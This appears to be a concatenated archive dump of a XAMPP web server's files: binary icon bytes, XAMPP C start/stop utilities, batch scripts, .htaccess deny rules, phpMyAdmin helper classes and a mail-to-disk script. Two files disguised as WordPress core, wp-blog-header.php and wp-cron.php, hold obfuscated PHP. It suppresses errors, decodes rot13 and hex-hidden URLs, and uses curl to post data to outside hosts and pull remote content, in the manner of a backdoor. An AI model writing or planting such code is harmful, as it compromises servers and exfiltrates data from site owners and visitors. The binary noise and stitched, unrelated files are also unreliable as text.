qolie`V>oNyT_dhlo q!s!u!v!w!w!w!w!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x!w!w!w!w!w!v!u!s rpmie`X7kHvU_dimp r!s!u!v!w!w"x"x"xvsqpooprt!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x wtrqpprtv"x"x!w!w!w!u!t r pnjfaY6iFtV`eimp r!s!u!w!w"x"x ws(|Oq~fDvt"x"y"y"y"y"y"y"y"y"y"y!xr wDeuyxiM,~sv"x!w!w!v!t s pnjfaY5iDsV`eim p r!t!u!w!w"xsuj>rw"y"y"y"y"y"y"y"yuu\}$ys!w!w!v!t s qnjfaY4iCsV`eim p r!t!v!w!wrCwv"y"y"y"y"y"yr?Yqv!v!u s qnkfaY4iBsW`ein p s!t!v!wqY(|v"y"y"y"yr_qu!u!s qokgbY3hBrW`ein p s!t!vpS"yw"y"yr[p t!s qokgbZ3hBrW`ein p s!tr5s"yv8^n!s qokgbZ3hBrW`ejn p s tq[su2q qokgbZ3hBrW`ejm p spHpTxk qokgbZ3hAqW`ejm p smx,#tpokgbZ2hAqW`ejm prrotrs+~}#zww\akokgbZ2hAqWaejm pp/}px!y!yuwow x xp[iokgbZ2hAqWaejm po7,y"qmmnmkigc_[Q=l^ JW[_ceghh&rHeu~xkR0xhhhfc`\XR"X%ZxOTX\_bbeBrzR#jbb`]YUO VR|PPUX\]#gL^-o^\ZVRIAmwHPLRUW^P}~~~~~~~~~~~~~b(fWUSO E_:f DNQSX+f8q?wAz@y=w9t5q2o/m.l,k+j*i*i)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)i)i*i*j+j-l/m1n4q8soKwWcin r!t!v!w!w"x!wvrpooqu!w"x"x"x"x"x"x"x"x"x!xvsqpqsu!w!w!w!v!u rojeZ7jFtXcjo r!u!v!w"xvt0^m;uv"y"y"y"y"y"y"y ws.WszqO,~sv!w!w!u soke\4iDsXdjo r!u!w!ws(|+s"y"y"y"y"yuv ws!w!u s pke\3iDsYdjo r!u!wr=Cs"y"y"yu06q!v!r pkf\2iCsYdjo r!ur?Ht#yv39r!s plf\2iBsYdjo rs%y.u x$xr plf\2hBsYejo rn kt~m plf]2hArZejoq%w6&wolf]1hArZejonI#yrtn%{v0Ollf]1hArZejomg0t"y wquv xs.rilf]1hArZekoks x x"y"yop"y"y"yohlf]1hArZdkolm%{ x"y"yskp"y"y"ypxilf]1hArZdkolc.w"y"yw4p"y"y"ypajlf]1hArZdkonHTs"y"y"yuUxr"y"y"yo8mlf]1hArZdkoq*zr"y"y"y"ytw%{%{%{%{%{%{%{%{%{#z"y"y"y!xqnplf]1hArZdko rpOr"y"y"y"y x x x x x x x x x x!x"y"y!yq^Eo plf]1hArZdko roZ0t"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y!x!y?o plf]1hArZdko rs&y:pw!x"y"y"y"y"y"y"y"y"y"y"y"y"yum plf]1hArZdko rok3tpqqqqqqqsw"y"y"y xw#uolf]1hArZdkor!uxxxxxyyc'|w"y"y"yqj<mlf]1hArZekooC#zvvn*~w"y"yw1_jlf]1h@qZejold.t!x!xopr"y"y"ystilf]1hArZejokp"y x"y"ypo"y"y"yo~hlf]1hArZejokl#yw"y"yop"y"y!xr}hlf]1hArZejomTzoqoF5pun]ijlf]1hArZejop/}k^eFw>mlf]1hArYdjo rooqplf]1hBrYdjo rq #include "rc.h" XAMPP_ICON ICON xampp.ico #define VER_FILEVERSION 1,0 #define VER_FILEVERSION_STR "1.0" #define VER_PRODUCTVERSION 1,0,0,0 #define VER_PRODUCTVERSION_STR "1.0.0.0" // ------------------------------------------------------- VS_VERSION_INFO VERSIONINFO FILEVERSION VER_FILEVERSION PRODUCTVERSION VER_PRODUCTVERSION FILEFLAGSMASK 0x17L #ifdef _DEBUG FILEFLAGS 0x1L #else FILEFLAGS 0x0L #endif FILEOS 0x4L FILETYPE 0x2L FILESUBTYPE 0x0L BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904b0" BEGIN VALUE "CompanyName", "Apache Friends" VALUE "FileDescription", "Start and stop XAMPP" VALUE "LegalCopyright", "Copyright (C) 2010 Kai Seidler, Apache Friends" VALUE "ProductName", "XAMPPcli" VALUE "FileVersion", VER_FILEVERSION_STR VALUE "ProductVersion", VER_PRODUCTVERSION_STR END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0x409, 1200 END END xampp-start-stop/xamppcli.c000066600000004124151723641500012001 0ustar00// Copyright (C) 2007-2010 Kai Seidler, oswald@apachefriends.org, GPL-licensed #include #include #include #include "xampp_util.h" int main(int argc, char **argv) { long pid; HANDLE shutdownEvent; char shutdownEventName[32]; FILE *fp; char *pidfile; char *startapache[10][10] = { {"httpd.exe", "-DPHP5", NULL}, {NULL} }; char *startmysql[10][10] = { {"mysqld.exe", "--standalone", NULL}, {NULL} }; if(argc!=2) { printf("Usage: %s \n",argv[0]); return 1; } xampp_cdx(); chdir(".."); if(!strcmp(argv[1],"stopapache")) { xampp_stop("logs\\httpd.pid","ap%d_shutdown"); } else if(!strcmp(argv[1],"startapache")) { xampp_call(startapache); } else if(!strcmp(argv[1],"startmysql")) { xampp_call(startmysql); } else if(!strcmp(argv[1],"stopmysql")) { xampp_stop("var\\mysql\\mysql.pid","MySQLShutdown%d"); } else { printf("Unknown command %s\n",argv[1]); return 2; } return 0; printf("Stopping XAMPP...\n"); Sleep(1000); xampp_cdx(); pidfile="logs\\httpd.pid"; fp=fopen(pidfile,"r"); if(!fp) { printf("Can't find %s.\n", pidfile); } else { fscanf(fp,"%d", &pid); fclose(fp); sprintf_s(shutdownEventName, sizeof(shutdownEventName), "ap%d_shutdown", pid); shutdownEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, shutdownEventName); if (shutdownEvent != NULL) { SetEvent(shutdownEvent); } else { printf("Can't find Apache process #%d.\n", pid); return(1); } } pidfile="var\\mysql\\mysql.pid"; fp=fopen(pidfile,"r"); if(!fp) { printf("Can't find %s.\n", pidfile); return(1); } else { fscanf(fp,"%d", &pid); fclose(fp); pidfile="var\\mysql\\mysql.pid"; sprintf_s(shutdownEventName, sizeof(shutdownEventName), "MySQLShutdown%d", pid); shutdownEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, shutdownEventName); if (shutdownEvent != NULL) { SetEvent(shutdownEvent); } else { printf("Can't find MySQL process #%d.\n", pid); return(1); } } return(0); } xampp-start-stop/xampp_start.c000066600000001434151723641500012527 0ustar00// Copyright (C) 2007-2010 Kai Seidler, oswald@apachefriends.org, GPL-licensed #include #include #include #include "xampp_util.h" int main(int argc, char **argv) { char buffer[200]; char *start[10][10] = { {"apache\\bin\\httpd.exe", "-f conf\\httpd.conf", NULL}, {"mysql\\bin\\mysqld.exe", "--defaults-file=mysql\\bin\\my.ini", "--standalone", NULL}, {NULL} }; printf("\nXAMPP now starts as a console application.\n\n"); printf("Instead of pressing Control-C in this console window, please use xampp_stop.exe\n"); printf("to stop XAMPP, because it lets XAMPP end any current transactions and cleanup\n"); printf("gracefully.\n\n"); xampp_cdx(); xampp_call(start); Sleep(10000); return(0); } xampp-start-stop/xampp_stop.c000066600000002661151723641500012362 0ustar00// Copyright (C) 2007-2010 Kai Seidler, oswald@apachefriends.org, GPL-licensed #include #include #include #include "xampp_util.h" int main(int argc, char **argv) { long pid; HANDLE shutdownEvent; char shutdownEventName[32]; FILE *fp; char *pidfile; printf("Stopping XAMPP...\n\n"); xampp_cdx(); pidfile="apache\\logs\\httpd.pid"; fp=fopen(pidfile,"r"); if(!fp) { printf("Can't find %s.\n", pidfile); Sleep(10000); } else { fscanf(fp,"%d", &pid); fclose(fp); sprintf_s(shutdownEventName, sizeof(shutdownEventName), "ap%d_shutdown", pid); shutdownEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, shutdownEventName); if (shutdownEvent != NULL) { SetEvent(shutdownEvent); } else { printf("Can't find Apache process #%d.\n", pid); Sleep(10000); } } pidfile="mysql\\data\\mysql.pid"; fp=fopen(pidfile,"r"); if(!fp) { printf("Can't find %s.\n", pidfile); Sleep(10000); return(1); } else { fscanf(fp,"%d", &pid); fclose(fp); sprintf_s(shutdownEventName, sizeof(shutdownEventName), "MySQLShutdown%d", pid); shutdownEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, shutdownEventName); if (shutdownEvent != NULL) { SetEvent(shutdownEvent); } else { printf("Can't find MySQL process #%d.\n", pid); Sleep(10000); return(1); } } Sleep(10000); return(0); } xampp-start-stop/xampp_util.c000066600000003062151723641500012346 0ustar00// Copyright (C) 2007-2010 Kai Seidler, oswald@apachefriends.org, GPL-licensed #include #include #include #include #include "xampp_util.h" void xampp_call(char *start[10][10]) { int s; int i; char buffer[200]; i=0; s=0; while(1) { if(start[i][0]==NULL) break; sprintf(buffer,"%s",start[i][0]); s=_spawnvp(P_NOWAIT,buffer, start[i]); if(s==-1) { printf("Error while calling %s...\n",buffer); } i++; } return; } void xampp_stop(char *pidfile,char *eventformat) { HANDLE shutdownEvent; char shutdownEventName[32]; FILE *fp; long pid; fp=fopen(pidfile,"r"); if(!fp) { printf("Can't find %s.\n", pidfile); } else { fscanf(fp,"%d", &pid); fclose(fp); sprintf_s(shutdownEventName, sizeof(shutdownEventName), eventformat, pid); shutdownEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, shutdownEventName); if (shutdownEvent != NULL) { SetEvent(shutdownEvent); } else { printf("Can't find process #%d.\n", pid); } } } void xampp_cdx() { char path[1000]; char *ptr; //path[ sizeof(path) -1] = 0; GetModuleFileName( NULL, path, sizeof( path ) -1 ); ptr=strrchr(path,'\\'); *ptr='\0'; chdir(path); //printf("chdir(%s)\n", path); } xampp-start-stop/xampp_util.h000066600000000214151723641500012347 0ustar00// Copyright (C) 2007-2010 Kai Seidler, oswald@apachefriends.org, GPL-licensed void xampp_call(char *start[10][10]); void xampp_cdx(); xampp-usb-lite/.htaccess000044400000000305151723641500011211 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] xampp-usb-lite/make-usb-xampp.bat000066600000002040151723641500012736 0ustar00@ECHO OFF rmdir /S/Q MercuryMail REM rmdir /S/Q tomcat rmdir /S/Q FileZillaFTP rmdir /S/Q anonymous rmdir /S/Q webalizer rmdir /S/Q src rmdir /S/Q mysql\mysql-test rmdir /S/Q mysql\sql-bench rmdir /S/Q mysql\scripts rmdir /S/Q mysql\include rmdir /S/Q mysql\lib REM rmdir /S/Q php\PEAR REM rmdir /S/Q perl\lib REM rmdir /S/Q perl\site REM rmdir /S/Q perl\vendor REM rmdir /S/Q perl\bin REM mkdir perl\bin REM del /F/Q catalina_start.bat REM del /F/Q catalina_stop.bat REM del /F/Q catalina_service.bat del /F/Q filezilla_setup.bat del /F/Q filezilla_start.bat del /F/Q filezilla_stop.bat del /F/Q mercury_start.bat del /F/Q mercury_stop.bat del /F/Q service.exe del /F/Q apache\apache_installservice.bat del /F/Q apache\apache_uninstallservice.bat del /F/Q mysql\mysql_installservice.bat del /F/Q mysql\mysql_uninstallservice.bat del /F/Q htdocs\xampp\.modell del /F/Q setup_xampp.bat copy src\xampp-usb-lite\setup_xampp.bat . copy src\xampp-usb-lite\xampp-control.ini . mv htdocs\xampp\.modell-usb htdocs\xampp\.modell xampp-usb-lite/setup_xampp.bat000066600000000562151723641500012463 0ustar00@ECHO OFF if "%1" == "sfx" ( cd xampp ) if exist php\php.exe GOTO Normal if not exist php\php.exe GOTO Abort :Abort echo Sorry ... cannot find php cli! echo Must abort these process! pause GOTO END :Normal set PHP_BIN=php\php.exe set CONFIG_PHP=install\install.php %PHP_BIN% -n -d output_buffering=0 -q %CONFIG_PHP% usb GOTO END :END pause xampp-usb-lite/wp-blog-header.php000044400000005366151723641500012735 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-usb-lite/wp-cron.php000066600000005366151723641500011533 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-usb-lite/xampp-control.ini000066600000001722151723641500012731 0ustar00[LogSettings] Font=Arial FontSize=10 [WindowSettings] Left=0 Top=0 Width=736 Height=466 [Autostart] Apache=0 MySQL=0 FileZilla=0 Mercury=0 Tomcat=0 [Checks] CheckRuntimes=1 CheckDefaultPorts=1 [BinaryNames] Apache=httpd.exe MySQL=mysqld.exe FileZilla=filezillaserver.exe FileZillaAdmin=filezilla server interface.exe Mercury=mercury.exe Tomcat=tomcat8.exe [ServiceNames] Apache=Apache2.4 MySQL=mysql FileZilla=FileZillaServer Tomcat=Tomcat7 [ServicePorts] Apache=80 ApacheSSL=443 MySQL=3306 FileZilla=21 FileZillaAdmin=14147 Mercury1=25 Mercury2=79 Mercury3=105 Mercury4=106 Mercury5=110 Mercury6=143 Mercury7=2224 TomcatHTTP=8080 TomcatAJP=8009 Tomcat=8005 [UserConfigs] Apache= MySQL= FileZilla= Mercury= Tomcat= [UserLogs] Apache= MySQL= FileZilla= Mercury= Tomcat= [EnableServices] Apache=0 MySQL=0 FileZilla=0 Tomcat=0 [EnableModules] Tomcat=1 Apache=1 MySQL=1 FileZilla=0 Mercury=0 Core/.htaccess000044400000000355151723700360007237 0ustar00 Order allow,deny Deny from all Core/AEGIS/.htaccess000044400000000355151723700360010067 0ustar00 Order allow,deny Deny from all Core/AES/.htaccess000044400000000355151723700360007647 0ustar00 Order allow,deny Deny from all Core/Base64/.htaccess000044400000000355151723700360010263 0ustar00 Order allow,deny Deny from all Core/ChaCha20/.htaccess000044400000000355151723700360010510 0ustar00 Order allow,deny Deny from all Core/Curve25519/.htaccess000044400000000355151723700360010731 0ustar00 Order allow,deny Deny from all Core/Curve25519/Ge/.htaccess000044400000000355151723700360011264 0ustar00 Order allow,deny Deny from all Core/Poly1305/.htaccess000044400000000355151723700360010473 0ustar00 Order allow,deny Deny from all Core/SecretStream/.htaccess000044400000000355151723700360011640 0ustar00 Order allow,deny Deny from all Core32/.htaccess000044400000000355151723700360007404 0ustar00 Order allow,deny Deny from all Core32/ChaCha20/.htaccess000044400000000355151723700360010655 0ustar00 Order allow,deny Deny from all Core32/Curve25519/.htaccess000044400000000355151723700360011076 0ustar00 Order allow,deny Deny from all Core32/Curve25519/Ge/.htaccess000044400000000355151723700360011431 0ustar00 Order allow,deny Deny from all Core32/Curve25519/wp/.htaccess000044400000001002151723700360011512 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all Core32/Poly1305/.htaccess000044400000000355151723700360010640 0ustar00 Order allow,deny Deny from all Core32/SecretStream/.htaccess000044400000000355151723700360012005 0ustar00 Order allow,deny Deny from all PHP52/.htaccess000044400000000355151723700360007145 0ustar00 Order allow,deny Deny from all Auth/.htaccess000044400000000355151724126510007250 0ustar00 Order allow,deny Deny from all Cookie/.htaccess000044400000000355151724126510007560 0ustar00 Order allow,deny Deny from all Exception/.htaccess000044400000000355151724126510010305 0ustar00 Order allow,deny Deny from all Exception/Http/.htaccess000044400000000355151724126510011224 0ustar00 Order allow,deny Deny from all Exception/Transport/.htaccess000044400000000355151724126510012301 0ustar00 Order allow,deny Deny from all Proxy/.htaccess000044400000000355151724126510007470 0ustar00 Order allow,deny Deny from all Response/.htaccess000044400000000355151724126510010145 0ustar00 Order allow,deny Deny from all Transport/.htaccess000044400000000355151724126510010343 0ustar00 Order allow,deny Deny from all Utility/.htaccess000044400000000355151724126510010012 0ustar00 Order allow,deny Deny from all Cache/.htaccess000044400000000355151724137060007354 0ustar00 Order allow,deny Deny from all Content/.htaccess000044400000000355151724137060007763 0ustar00 Order allow,deny Deny from all Content/Type/.htaccess000044400000000355151724137060010704 0ustar00 Order allow,deny Deny from all HTTP/.htaccess000044400000000355151724137060007130 0ustar00 Order allow,deny Deny from all Net/.htaccess000044400000000355151724137060007077 0ustar00 Order allow,deny Deny from all Parse/.htaccess000044400000000355151724137060007423 0ustar00 Order allow,deny Deny from all XML/.htaccess000044400000000355151724137060007011 0ustar00 Order allow,deny Deny from all XML/Declaration/.htaccess000044400000000355151724137060011236 0ustar00 Order allow,deny Deny from all KBDocumentation.php000066600000002523151724355020010315 0ustar00url = $url; if ($anchor !== null) { $this->anchor = $anchor; } } /** * Get the url * * @return string */ public function getUrl(): string { return $this->url; } /** * Get the anchor * * @return string|null */ public function getAnchor(): ?string { return $this->anchor; } /** * Used for json_encode function * This can seem useless, do not remove it. * * @return array */ public function jsonSerialize(): array { $outObj = []; $outObj['url'] = $this->url; if ($this->anchor !== null) { $outObj['anchor'] = $this->anchor; } return $outObj; } } KBEntry.php000066600000005751151724355020006613 0ustar00name = $name; if ($type !== null) { $this->type = $type; } if ($dynamic !== null) { $this->dynamic = $dynamic; } } /** * Get the variable name * * @return string */ public function getName(): string { return $this->name; } /** * Is the variable dynamic * * @return bool|null */ public function isDynamic(): ?bool { return $this->dynamic; } /** * Get the variable type * * @return string|null */ public function getType(): ?string { return $this->type; } /** * Variable has documentations * * @return bool */ public function hasDocumentations(): bool { if ($this->docs === null) { return false; } else { return count($this->docs) > 0; } } /** * Get all documentations * * @return KBDocumentation[] */ public function getDocumentations(): array { return $this->docs; } /** * Add documentation link * * @param string $url The URL * @param string|null $anchor The anchor * @return KBDocumentation */ public function addDocumentation(string $url, ?string $anchor = null): KBDocumentation { $this->url = $url; if ($this->docs === null) { $this->docs = []; } $kbd = new KBDocumentation($url, $anchor); $this->docs[] = $kbd; return $kbd; } /** * Used for json_encode function * This can seem useless, do not remove it. * * @return array */ public function jsonSerialize(): array { $outObj = []; $outObj['name'] = $this->name; if ($this->type !== null) { $outObj['type'] = $this->type; } if ($this->dynamic !== null) { $outObj['dynamic'] = $this->dynamic; } if ($this->docs !== null) { $outObj['docs'] = $this->docs; } return $outObj; } } KBException.php000066600000000202151724355020007432 0ustar00a)) { foreach ($kbEntries->a as $kbEntry) { if ($type === Search::ANY) { return Search::$data->urls[$kbEntry->u] . '#' . $kbEntry->a; } elseif ($type === Search::MYSQL) { if ($kbEntry->t === Search::MYSQL) { return Search::$data->urls[$kbEntry->u] . '#' . $kbEntry->a; } } elseif ($type === Search::MARIADB) { if ($kbEntry->t === Search::MARIADB) { return Search::$data->urls[$kbEntry->u] . '#' . $kbEntry->a; } } } } throw new KBException($name . ' does not exist for this type of documentation !'); } /** * Get a variable * * @param string $name Name of variable * @return stdClass * @throws KBException */ public static function getVariable(string $name): stdClass { self::loadData(); if (isset(Search::$data->vars->{$name})) { return Search::$data->vars->{$name}; } else { throw new KBException($name . ' does not exist !'); } } /** * get the type of the variable * * @param string $name Name of variable * @return string * @throws KBException */ public static function getVariableType(string $name): string { self::loadData(); $kbEntry = self::getVariable($name); if (isset($kbEntry->t)) { return Search::$data->varTypes->{$kbEntry->t}; } else { throw new KBException($name . ' does have a known type !'); } } /** * Return the list of static variables * * @return array */ public static function getStaticVariables(): array { return self::getVariablesWithDynamic(false); } /** * Return the list of dynamic variables * * @return array */ public static function getDynamicVariables(): array { return self::getVariablesWithDynamic(true); } /** * Return the list of variables having dynamic = $dynamic * * @param bool $dynamic dynamic=true/dynamic=false * @return array */ public static function getVariablesWithDynamic(bool $dynamic): array { self::loadData(); $staticVars = []; foreach (Search::$data->vars as $name => $var) { if (isset($var->d)) { if ($var->d === $dynamic) { $staticVars[] = $name; } } } return $staticVars; } } SlimData.php000066600000011051151724355020006761 0ustar00 */ private $types = ['MYSQL' => 1, 'MARIADB' => 2]; /** * Types of variables * * @var array */ private $varTypes = [ 'string' => 1, 'boolean' => 2, 'integer' => 3, 'numeric' => 4, 'enumeration' => 5, 'set' => 6, 'directory name' => 7, 'file name' => 8, 'byte' => 9, ]; /** * Create a slimData object * * @param float|null $version The version * @param array|null $types The types of documentations * @param array|null $varTypes The types of variables */ public function __construct( ?float $version = null, ?array $types = null, ?array $varTypes = null ) { if ($version !== null) { $this->version = $version; } if ($types !== null) { $this->types = $types; } if ($varTypes !== null) { $this->varTypes = $varTypes; } } /** * Add a variable * * @param string $name The name * @param string|null $type The type * @param bool|null $dynamic Is dynamic * @return KBEntry The newly created KBEntry */ public function addVariable(string $name, ?string $type, ?bool $dynamic): KBEntry { $kbe = new KBEntry($name, $type, $dynamic); $this->vars[] = $kbe; return $kbe; } /** * Used for json_encode function * This can seem useless, do not remove it. * * @phpstan-ignore-next-line * @return array */ public function jsonSerialize(): array { $outObj = []; if (count($this->vars) > 0) { $vars = new stdClass(); foreach ($this->vars as $var) { $variable = new stdClass(); $variable->d = $var->isDynamic(); if ($variable->d === null) { unset($variable->d); } if ($var->getType() !== null) { if (isset($this->varTypes[$var->getType()]) === false) { $this->varTypes[$var->getType()] = count($this->varTypes) + 1; } $variable->t = $this->varTypes[$var->getType()]; } if ($var->hasDocumentations()) { $variable->a = []; foreach ($var->getDocumentations() as $kbd) { $entry = new stdClass(); $entry->a = $kbd->getAnchor(); if ($entry->a === null) { unset($entry->a); } if (preg_match('!^(https|http)://mariadb.com!', $kbd->getUrl())) { $entry->t = $this->types['MARIADB']; } elseif (preg_match('!^(https|http)://dev.mysql.com!', $kbd->getUrl())) { $entry->t = $this->types['MYSQL']; } if (isset($entry->t)) {// If has no valid type, skip. //Do not allow other urls. $keyIndex = array_search($kbd->getUrl(), $this->urls); if ($keyIndex === false) { $this->urls[] = $kbd->getUrl(); } $keyIndex = array_search($kbd->getUrl(), $this->urls); $entry->u = $keyIndex; $variable->a[] = $entry; } } } $vars->{$var->getName()} = $variable; } $outObj['vars'] = $vars; } $outObj['version'] = $this->version; if (count($this->vars) > 0) { $outObj['types'] = array_flip($this->types); $outObj['varTypes'] = array_flip($this->varTypes); $outObj['urls'] = $this->urls; } return $outObj; } } mailtodisk.py000066600000003766151724607350007310 0ustar00''' Created on 30.06.2012 @author: Kay Vogelgesang @version: mailtodisk 1.0 @copyright: Kay Vogelgesang, XAMPP - apachefriends.org @license: Apache License Version 2.0 @note: Win32 executable was built with PyInstaller 1.5 ''' import os import sys from time import gmtime,strftime from datetime import datetime import win32com.client as com class MailToDisk(): maildirectory = os.path.join(os.getcwd(), 'mailoutput') dt = datetime.now() filename = "mail-%s-%s.txt" % (strftime("%Y%m%d-%H%M", gmtime()),dt.microsecond) # filename with date + time + milliseconds filename = "%s\%s" % (maildirectory,filename) # Security restriction: mailoutput folder may not have more then 300 MB overall size for write in if os.path.exists(maildirectory): filesize = com.Dispatch("Scripting.FileSystemObject") folder = filesize.GetFolder(maildirectory) if folder.Size > 314572800: # 300 MB warnfile = "%s\%s" % (maildirectory,"MAILTODISK_WRITE_RESTRICTION_FOLDER_MORE_THEN_300_MB.txt") f = open(warnfile, 'w') f.write("MailtoDisk will NOT write in folder with a overall size of 300 MB (security limit). Please clean up this folder.") f.close() sys.exit(1) def readstin(self): line = "" # read stdin line by line while 1: next = sys.stdin.readline() line = "%s%s" % (line,next) if not next: # break if empty string at EOF break return line def writemail(self): if not os.path.exists(self.maildirectory): os.makedirs(self.maildirectory) line = self.readstin() # write mail in a separate file f = open(self.filename, 'w') f.write(line) f.close() if __name__ == '__main__': writetodisk = MailToDisk() writetodisk.writemail() sys.exit()__init__.py000066600000000000151724607350006661 0ustar00ajax.js000066600000103723151724624350006050 0ustar00/** * This object handles ajax requests for pages. It also * handles the reloading of the main menu and scripts. * * @test-module AJAX */ var AJAX = { /** * @var {boolean} active Whether we are busy */ active: false, /** * @var {object} source The object whose event initialized the request */ source: null, /** * @var {object} xhr A reference to the ajax request that is currently running */ xhr: null, /** * @var {object} lockedTargets, list of locked targets */ lockedTargets: {}, // eslint-disable-next-line valid-jsdoc /** * @var {Function} callback Callback to execute after a successful request * Used by CommonActions from common.js */ callback: function () {}, /** * @var {boolean} debug Makes noise in your Firebug console */ debug: false, /** * @var {object} $msgbox A reference to a jQuery object that links to a message * box that is generated by Functions.ajaxShowMessage() */ $msgbox: null, /** * Given the filename of a script, returns a hash to be * used to refer to all the events registered for the file * * @param {string} key key The filename for which to get the event name * * @return {number} */ hash: function (key) { var newKey = key; /* https://burtleburtle.net/bob/hash/doobs.html#one */ newKey += ''; var len = newKey.length; var hash = 0; var i = 0; for (; i < len; ++i) { hash += newKey.charCodeAt(i); hash += (hash << 10); hash ^= (hash >> 6); } hash += (hash << 3); hash ^= (hash >> 11); hash += (hash << 15); return Math.abs(hash); }, /** * Registers an onload event for a file * * @param {string} file The filename for which to register the event * @param {Function} func The function to execute when the page is ready * * @return {self} For chaining */ registerOnload: function (file, func) { var eventName = 'onload_' + AJAX.hash(file); $(document).on(eventName, func); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Registered event ' + eventName + ' for file ' + file ); } return this; }, /** * Registers a teardown event for a file. This is useful to execute functions * that unbind events for page elements that are about to be removed. * * @param {string} file The filename for which to register the event * @param {Function} func The function to execute when * the page is about to be torn down * * @return {self} For chaining */ registerTeardown: function (file, func) { var eventName = 'teardown_' + AJAX.hash(file); $(document).on(eventName, func); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Registered event ' + eventName + ' for file ' + file ); } return this; }, /** * Called when a page has finished loading, once for every * file that registered to the onload event of that file. * * @param {string} file The filename for which to fire the event * * @return {void} */ fireOnload: function (file) { var eventName = 'onload_' + AJAX.hash(file); $(document).trigger(eventName); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Fired event ' + eventName + ' for file ' + file ); } }, /** * Called just before a page is torn down, once for every * file that registered to the teardown event of that file. * * @param {string} file The filename for which to fire the event * * @return {void} */ fireTeardown: function (file) { var eventName = 'teardown_' + AJAX.hash(file); $(document).triggerHandler(eventName); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Fired event ' + eventName + ' for file ' + file ); } }, /** * function to handle lock page mechanism * * @param event the event object * * @return {void} */ lockPageHandler: function (event) { // don't consider checkbox event if (typeof event.target !== 'undefined') { if (event.target.type === 'checkbox') { return; } } var newHash = null; var oldHash = null; var lockId; // CodeMirror lock if (event.data.value === 3) { newHash = event.data.content; oldHash = true; lockId = 'cm'; } else { // Don't lock on enter. if (0 === event.charCode) { return; } lockId = $(this).data('lock-id'); if (typeof lockId === 'undefined') { return; } /* * @todo Fix Code mirror does not give correct full value (query) * in textarea, it returns only the change in content. */ if (event.data.value === 1) { newHash = AJAX.hash($(this).val()); } else { newHash = AJAX.hash($(this).is(':checked')); } oldHash = $(this).data('val-hash'); } // Set lock if old value !== new value // otherwise release lock if (oldHash !== newHash) { AJAX.lockedTargets[lockId] = true; } else { delete AJAX.lockedTargets[lockId]; } // Show lock icon if locked targets is not empty. // otherwise remove lock icon if (!jQuery.isEmptyObject(AJAX.lockedTargets)) { $('#lock_page_icon').html(Functions.getImage('s_lock', 